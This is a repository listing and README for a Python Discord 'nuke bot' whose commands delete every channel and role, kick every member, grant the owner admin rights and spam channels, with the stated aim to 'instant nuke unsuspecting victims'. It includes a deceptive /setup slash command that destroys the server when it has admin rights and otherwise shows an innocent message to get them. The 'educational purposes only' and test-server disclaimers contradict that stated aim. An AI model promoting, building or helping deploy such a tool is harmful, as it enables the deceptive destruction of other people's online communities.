https://github.com/nandubit/discord-nuke-bot
A Discord Nuking Bot - with many features and commands like nuke, troll, kickall, giveperm, deletechannels, deleteroles, etc... etc - Beautiful terminal
https://github.com/nandubit/discord-nuke-bot
bot discord discord-bot discord-py nuke nukebot nuker nuker-bot
Last synced: 8 months ago
JSON representation
A Discord Nuking Bot - with many features and commands like nuke, troll, kickall, giveperm, deletechannels, deleteroles, etc... etc - Beautiful terminal
- Host: GitHub
- URL: https://github.com/nandubit/discord-nuke-bot
- Owner: NanduBit
- Created: 2025-07-05T19:39:20.000Z (11 months ago)
- Default Branch: main
- Last Pushed: 2025-10-04T09:48:18.000Z (8 months ago)
- Last Synced: 2025-10-04T11:34:33.236Z (8 months ago)
- Topics: bot, discord, discord-bot, discord-py, nuke, nukebot, nuker, nuker-bot
- Language: Python
- Homepage:
- Size: 177 KB
- Stars: 3
- Watchers: 0
- Forks: 1
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
Awesome Lists containing this project
README
# Discord Nuke Bot

## Features
- Terminal dashboard with server and permissions info (Rich).
- Prefix commands (`!@command`) and slash command (`/setup`) to instant nuke unsuspecting victims.
- Commands for nuking, deleting channels/roles, kicking bots/members, trolling, and more.
## Setup
1. **Clone the repository** and navigate to the project folder.
2. **Install dependencies:**
```bash
pip install -r requirements.txt
```
3. **Configure the bot:**
- Edit `config.py` and fill in your bot token and your Discord user ID:
```python
BOT_TOKEN = ""
OWNER_ID =
```
4. **(Optional) Place an image for trolling:**
- Save the provided banner image as `banner.png` in the same directory.
- For the troll command, place an `image.png` in the same directory.
5. **Run the bot:**
```bash
python main.py
```
## Usage
### Prefix Commands (Owner Only)
Type these in any server where the bot is present:
- `!@nuke` - Run all destructive actions (nuke server).
- `!@deletechannel` - Delete all channels.
- `!@deleterole` - Delete all roles.
- `!@botkick` - Kick all bots.
- `!@kickall` - Kick all members (except you).
- `!@troll` - Change server name and icon.
- `!@giveperm` - Give admin role to OWNER_ID.
- `!@masscreatechannel` - Create 50 channels and send a message in each.
- `!@masscreaterole` - Create 50 roles.
### Slash Command
- `/setup`
- If the bot has admin permissions, it will nuke the server.
- If not, it will send an innocent message saying need administator for using this command..
## Notes
- Only the OWNER_ID can use the commands.
- Make sure to enable the "Server Members Intent" in the Discord developer portal.
- Do **NOT** share your `config.py` or bot token.
- The bot is destructive. Use with caution and only in test servers.
## License
For educational purposes only.